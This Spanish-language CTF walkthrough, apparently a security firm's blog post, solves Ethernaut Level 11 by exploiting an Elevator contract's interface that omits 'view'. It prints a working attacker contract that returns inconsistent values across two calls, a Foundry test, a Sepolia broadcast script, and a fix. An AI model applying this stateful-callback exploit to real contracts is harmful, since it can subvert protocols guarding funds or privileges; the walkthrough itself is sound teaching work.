Ethernaut Level 11 Walkthrough: Rompiendo la Confianza en Funciones "View" en Solidity
En este artículo analizaremos y resolveremos el reto número 11 de Ethernaut: **Elevator**.
Tiempo de lectura: ~10 min
Este nivel parece seguro por diseño. Elevator llama dos veces a un contrato externo, dentro de la misma función, para preguntar si un piso es el último. Y usa el resultado de esa segunda llamada para decidir si activa una bandera. El supuesto detrás de ese diseño es que llamar a la misma función dos veces, con el mismo argumento, devuelve la misma respuesta. Nada en Solidity garantiza eso. La interfaz nunca declara la función como view, así que el compilador nunca lo verifica, y quien llama no tiene forma de saber que la función que acaba de invocar puede mentirle dos veces, de forma distinta, a propósito.
Además de resolver el reto, también entenderemos:
- Por qué una interfaz que omite
viewypurees un límite de confianza silencioso - Cómo explotar una llamada externa manipulada con solo un poco de estado
- Por qué "el compilador lo detectaría" no aplica a llamadas externas
- Cómo defenderse de callbacks no confiables con el patrón checks-effects-interactions y la aplicación de
view
Descripción del Reto
El contrato Elevator expone una única función, goTo, que recibe un número de piso y le pregunta a quien lo llama (tratado como un Building) si ese piso es el último. Si la respuesta es false, actualiza su propio estado floor y top usando una segunda llamada a esa misma función.
El objetivo del reto es:
Llegar al último piso del elevador, es decir, que
topseatrue.
Clasificación de la Vulnerabilidad
| Categoría | Valor |
|---|---|
| Vulnerabilidad: | Llamada externa no confiable reutilizada para dos decisiones contradictorias |
| Causa Raíz: | La interfaz Building omite view, así que el compilador nunca garantiza que isLastFloor sea determinista ni consistente entre llamadas |
| Impacto: | Un contrato controlado por el atacante puede forzar a Elevator hacia un estado que su propia lógica buscaba evitar |
| Severidad: | Media para este ejercicio, Crítica en protocolos reales donde ese estado activado protege fondos o privilegios |
| Tipo de Ataque: | Llamada externa inconsistente / abuso de callback con estado |
Análisis del Contrato Vulnerable
Este es el contrato vulnerable utilizado en el reto:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Causa Raíz de la Vulnerabilidad
Elevator trata a msg.sender como si fuera un Building bien portado. Nunca lo despliega ni lo controla. Cualquiera puede llamar a goTo, y msg.sender se convierte en cualquier contrato que quien llama haya elegido escribir:
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
La interfaz Building declara isLastFloor sin view:
function isLastFloor(uint256) external returns (bool);
Esa palabra clave faltante es la vulnerabilidad completa. Una función view no puede modificar estado, y Solidity lo hace cumplir en tiempo de compilación para funciones declaradas view dentro del propio código del contrato que llama. Pero Elevator nunca declara isLastFloor como view en la interfaz que usa para llamarla, así que el compilador no impone ninguna restricción sobre lo que hace el contrato externo dentro de esa función, incluyendo leer y escribir su propio storage entre las dos llamadas que hace goTo.
Sin repetir siempre la misma frase de entrada:
El bug no es llamar a una función externa. Es llamarla dos veces y confiar en que la segunda respuesta coincida con la primera, cuando lo que se llama es código que no controlas.
Entendiendo la Brecha de Confianza en "View"
goTollama abuilding.isLastFloor(_floor)una vez, para decidir si entra al bloqueif.- Si esa primera llamada devuelve
false, la ejecución entra al bloque.floorse actualiza. goTollama abuilding.isLastFloor(floor)una segunda vez, con el mismo argumento numérico, y usa este segundo resultado para fijartop.- Nada obliga a que las dos llamadas coincidan. El
isLastFloorde un atacante puede devolverfalseen la primera invocación ytrueen la segunda, con nada más que unboolque se invierte cada vez que la función se ejecuta. toptermina entrue, aunque el contrato del atacante respondió exactamente la misma pregunta de dos formas distintas en dos llamadas consecutivas dentro de la misma transacción.
Elevator.goTo(1) llamado por ElevatorClimber
|
|-- llamada 1: isLastFloor(1) -> ElevatorClimber invierte su estado, devuelve false
| Elevator: !false == true -> entra al bloque if
|
|-- floor = 1
|
|-- llamada 2: isLastFloor(1) -> ElevatorClimber invierte su estado otra vez, devuelve true
| Elevator: top = true
v
top == true, objetivo alcanzado
Esta clase de bug, una llamada externa cuya respuesta se asume idempotente sin verificarlo, aparece en protocolos reales como oráculos de precio consultados dos veces en una misma función, verificaciones de "es este NFT del dueño correcto" reutilizadas a lo largo de un flujo de varios pasos, o chequeos de allowance/balance que asumen que un contrato de token no puede cambiar su propia respuesta a mitad de la llamada. El mecanismo es siempre el mismo: no hay ninguna garantía on-chain de que una segunda llamada a la misma función, con el mismo argumento, devuelva el mismo resultado.
¿Por Qué Confiar en un bool Externo es Peligroso?
- Las llamadas
externalentregan el control a código arbitrario. En cuantoElevatorllama aBuilding(msg.sender), la ejecución pasa a código que el autor deElevatornunca escribió y no puede inspeccionar en tiempo de ejecución. viewes una promesa que el compilador puede hacer cumplir, pero solo si se declara. SiBuilding.isLastFloorhubiera estado tipada comoviewen la interfaz que importaElevator, el compilador de Solidity habría rechazado cualquier implementación que escriba en storage, cerrando exactamente este ataque. Omitirviewen una interfaz usada para una decisión de confianza es un error de diseño, no un detalle de estilo.- Llamar dos veces a la misma función externa y esperar que coincida es un supuesto oculto. Si el resultado de una función debe mantenerse consistente entre llamadas dentro de una misma transacción, guarda el primer resultado y reutilízalo en vez de volver a llamar.
- Los guards de reentrancy no ayudan aquí. No hay ninguna llamada reentrante hacia
Elevatormismo; el exploit vive por completo en lo que devuelve el contrato externo, algo que un guard de reentrancy enElevatorno detectaría.
Estrategia del Ataque
Sabemos que:
goTollama amsg.sender.isLastFloor(_floor)dos veces, y solo el resultado de la segunda llamada decidetop.- La primera llamada debe devolver
falsepara que la ejecución llegue siquiera a la segunda llamada. - La segunda llamada debe devolver
truepara quetopquede activado. - Nada impide que
msg.sendersea un contrato que nosotros mismos escribamos, uno que lleve su propio estado y responda distinto en cada llamada.
Nuestra estrategia:
- Desplegar un contrato que implemente
isLastFloor, invirtiendo unboolinterno en cada llamada. - Fijar el estado inicial para que la primera llamada devuelva
falsey la segunda devuelvatrue. - Llamar a
Elevator.goTo(_floor)desde nuestro contrato, para quemsg.senderdentro deElevatorsea nuestro contrato. topse activa después de la segunda llamada, cumpliendo el objetivo del nivel.
Contrato Atacante
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Elevator {
function goTo(uint256 _floor) external;
}
contract ElevatorClimber {
address public owner;
bool private toggle = true;
constructor() {
owner = msg.sender;
}
/// @notice Elevator.goTo() llama a nuestro isLastFloor() dos veces; la
/// interfaz Building omite `view`, así que invertimos el estado entre
/// llamadas: false en la primera para pasar el guard, true en la segunda
/// para activar top.
function isLastFloor(uint256) external returns (bool) {
toggle = !toggle;
return toggle;
}
function attack(address _target) external {
require(msg.sender == owner, "Not owner");
Elevator(_target).goTo(1);
}
}
toggle arranca en true, así que la primera inversión (!true) devuelve false, y la segunda inversión (!false) devuelve true. Esa secuencia de dos llamadas es todo el exploit.
Cómo Funciona el Exploit
Primero, desplegamos ElevatorClimber. Su estado toggle arranca en true, pero todavía nadie ha llamado a isLastFloor.
Luego, llamamos a attack, que llama a Elevator.goTo(1). Dentro de Elevator, msg.sender ahora es ElevatorClimber.
Después, Elevator hace su primera llamada a isLastFloor(1). ElevatorClimber invierte toggle de true a false y devuelve false. Elevator evalúa !false, que es true, y entra al bloque if.
floor se fija en 1. Elevator llama inmediatamente a isLastFloor(floor) una segunda vez, dentro de la misma transacción. ElevatorClimber invierte toggle otra vez, de false a true, y esta vez devuelve true.
Finalmente, Elevator asigna top = true. La condición de victoria del nivel, elevator.top(), queda satisfecha.
Validando el Exploit con Foundry
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {Elevator} from "src/levels/Elevator.sol";
import {ElevatorFactory} from "src/levels/ElevatorFactory.sol";
import {ElevatorClimber} from "test/Solutions/Attacks/ElevatorClimber.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";
contract TestElevator_L11 is Test, Utils {
Ethernaut ethernaut;
Elevator instance;
address payable owner;
address payable player;
function setUp() public {
address payable[] memory users = createUsers(2);
owner = users[0];
vm.label(owner, "Owner");
player = users[1];
vm.label(player, "Player");
vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
ElevatorFactory factory = new ElevatorFactory();
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();
vm.startPrank(player);
instance = Elevator(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
vm.stopPrank();
}
function testInit() public {
vm.startPrank(player);
assertFalse(instance.top());
assertFalse(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
function testSolve() public {
vm.startPrank(player);
ElevatorClimber climber = new ElevatorClimber();
climber.attack(address(instance));
assertTrue(instance.top());
assertTrue(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
}
Ejecutando el Test
source .env
forge test --match-path test/Solutions/Elevator_L11.t.sol --match-test testSolve --fork-url $SEPOLIA_RPC -vvv
Asegúrate de que .env defina SEPOLIA_RPC y, para el script en vivo de abajo, PK. Nunca subas .env a control de versiones.
Resolviendo el Nivel en Sepolia
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script} from "forge-std/Script.sol";
import {ElevatorClimber} from "test/Solutions/Attacks/ElevatorClimber.sol";
import {console} from "forge-std/console.sol";
contract ElevatorScript is Script {
address public target;
ElevatorClimber public climber;
function setUp() public {
target = payable("0xYourEthernautInstance");
}
function run() public {
uint256 pk = vm.envUint("PK"); // Private Key desde .env para firmar la Tx
vm.startBroadcast(pk);
climber = new ElevatorClimber();
climber.attack(target);
console.log("Climber contract:", address(climber));
vm.stopBroadcast();
}
}
Ejecutando el Script
source .env
forge script scripts/Elevator.s.sol --rpc-url $SEPOLIA_RPC
Una vez que el dry run compile sin errores y hayas reemplazado 0xYourEthernautInstance con la dirección real de tu instancia, envíalo a la red:
forge script scripts/Elevator.s.sol --rpc-url $SEPOLIA_RPC --broadcast --interactives 1 -vvv
Cómo Prevenir Llamadas Externas Inconsistentes
El patrón vulnerable es llamar más de una vez a una función externa no confiable y confiar en que los resultados coincidan:
// Vulnerable: dos llamadas a la misma función no confiable, sin garantía de consistencia
interface Building {
function isLastFloor(uint256) external returns (bool);
}
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
La solución es declarar la interfaz como view cuando la lógica asume que la función no tiene estado, para que el compilador rechace cualquier implementación que escriba en storage, y llamar a la función externa una sola vez, reutilizando el resultado en vez de volver a llamarla:
// Corregido: view aplicado por el compilador, una sola llamada, resultado reutilizado
interface Building {
function isLastFloor(uint256) external view returns (bool);
}
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
bool isLast = building.isLastFloor(_floor);
if (!isLast) {
floor = _floor;
top = isLast;
}
}
view por sí solo no impide que un contrato malicioso mienta una vez, pero sí le impide mentir de forma distinta dos veces dentro de la misma llamada, que es exactamente la primitiva que explota este nivel. Para decisiones que deben ser confiables sin importar quién implemente el callback, lo correcto es no depender en absoluto de la honestidad de un contrato externo: usa un valor que el propio contrato que llama haya calculado, o una implementación en whitelist y auditada en lugar de un msg.sender arbitrario.
Lecciones Aprendidas
- Una interfaz sin
viewnipureno es solo una elección de estilo. Es el compilador renunciando a hacer cumplir una garantía de consistencia de la que tu lógica puede estar dependiendo. - Llamar dos veces a la misma función externa dentro de una transacción y confiar en que las respuestas coincidan es un supuesto, no un hecho, siempre que el destinatario no sea código que tú controles.
msg.sendernunca está garantizado a ser un contrato "bien portado". Cualquier código puede llamar a tu función y fingir ser la interfaz que esperas.- Los guards de reentrancy protegen contra llamadas reentrantes hacia tu propio contrato; no hacen nada contra un destinatario que simplemente devuelve valores distintos en llamadas separadas.
- Los auditores deben marcar cada llamada externa cuyo resultado alimente una rama relevante para la seguridad, especialmente cuando la misma llamada ocurre más de una vez por transacción.
Conclusión
El nivel 11 de Ethernaut muestra cómo una sola palabra clave view faltante convierte una interfaz en un agujero de confianza. Elevator nunca sospechó que un booleano, evaluado dos veces con el mismo argumento, pudiera decir dos verdades distintas, porque nada en Solidity obligaba a esa función a comportarse. El bug parece pequeño aislado, pero el patrón, una respuesta externa que se asume estable entre llamadas, es exactamente lo que rompe integraciones de oráculos de precio, verificaciones de propiedad, y flujos de aprobación de varios pasos en protocolos en producción.
Cualquier contrato que llame a msg.sender o a otra dirección provista externamente, y luego use ese resultado para condicionar cambios de estado, debe tratar esa llamada como adversarial por defecto. Este walkthrough cubrió:
- Por qué omitir
viewen una interfaz elimina una garantía que el compilador podría hacer cumplir - Cómo explotar dos respuestas inconsistentes de la misma llamada externa
- Por qué los guards de reentrancy no cubren esta clase de bug
- Cómo defenderse con
viewaplicado por el compilador y resultados de una sola llamada, reutilizados
Si estás construyendo o revisando contratos que confían en que las llamadas externas respondan de forma consistente, esto es exactamente el tipo de suposición que ponemos a prueba en una auditoría profesional.
Encuentra más walkthroughs de Ethernaut en el blog de SECLAT.
¿Necesitas una auditoría de seguridad para tus smart contracts? Habla con SECLAT.